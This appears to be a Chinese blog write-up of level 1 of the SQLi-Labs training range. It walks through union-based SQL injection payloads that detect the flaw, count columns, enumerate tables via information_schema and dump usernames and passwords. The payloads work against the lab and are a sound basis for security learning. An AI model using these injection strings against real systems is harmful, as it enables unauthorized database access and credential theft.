SQLi-LABS靶场-1 详解

发布于 2021-10-24  233 次阅读


SQLi-Labs 是一个专业的SQL注入练习平台

学渗透已经有一年了,今天还是来刷一遍sql注入靶场吧!(具体的靶场安装过程我就不说了,网上教程有都是)

第一关:

打开第一关后,根据靶场设定get传参id=1,结果如图:

用传统方式判断$id是否有注入点

?id=1 and 1=1 --+      //--+或#为注释的意思,目的是注释掉后面的语句
?id=1 and 1=2 --+

发现当传参 ?id=1 and 1=2 --+ 时页面并没有预想中的报错,所以我们可能不是数字型的sql注入,那么我们判断是不是字符型注入。

?id=1' and 1=1 --+
?id=1' and 1=2 --+

发现当传参 ?id=1' and 1=2 --+ 时页面报错:

接下来,我们判断当前sql语句有几个字段

?id=1' order by 4 --+

当我们用 order by 猜测到4时发生报错

所以我们猜测字段数为3,我们查看下第一关的源码,看看我们的猜测是否正确。

因为源码中sql查询语句为 select * from users 所以我们无法从源码中看出表users到底有几个字段,那我们暂时认为我们的猜测是正确的。

现在,我们来看看字段的输出位置好方便我们接下来的sql注入。

?id=-1 union select 1,2,3 --+

我们可以看到输出点在第2个字段和第3个字段。

接下来,我们查询当前数据库的用户,当前数据库版本,代码如下:

?id=-1' union select 1,user(),@@version --+

查询结果如下:

接下来我们查询当前数据库名,代码如下:

?id=-1' union select 1,2,database() --+

查询到当前数据库名为 security 。因为当前mysql数据库版本大于5.0,所以可以借助 information_schema 来查询表名以及字段名。代码如下:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+   //group_concat的意思是将结果以一行显示出来并且加上,间隔。

查询结果如下:

我们查询到当前数据库有4个表,我们查询users表,代码如下:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+

我们查询下字段 username,password 里的内容,代码如下:

?id=-1' union select 1,username,password from security.users --+

我们查询到用户名和密码为Dumb,Dumb。

这就是sqli-labs靶场的第一关,都是比较基础的东西,也没什么需要好说的,只需要按照sql注入的流程去走就可以了,进行sql注入的时候比较重要的点是需要判断注入点的类型,如果是数字型的注入点就不需要单引号,具体注入视情况而定。


我从未觉得繁琐,说浪漫些,我很爱你。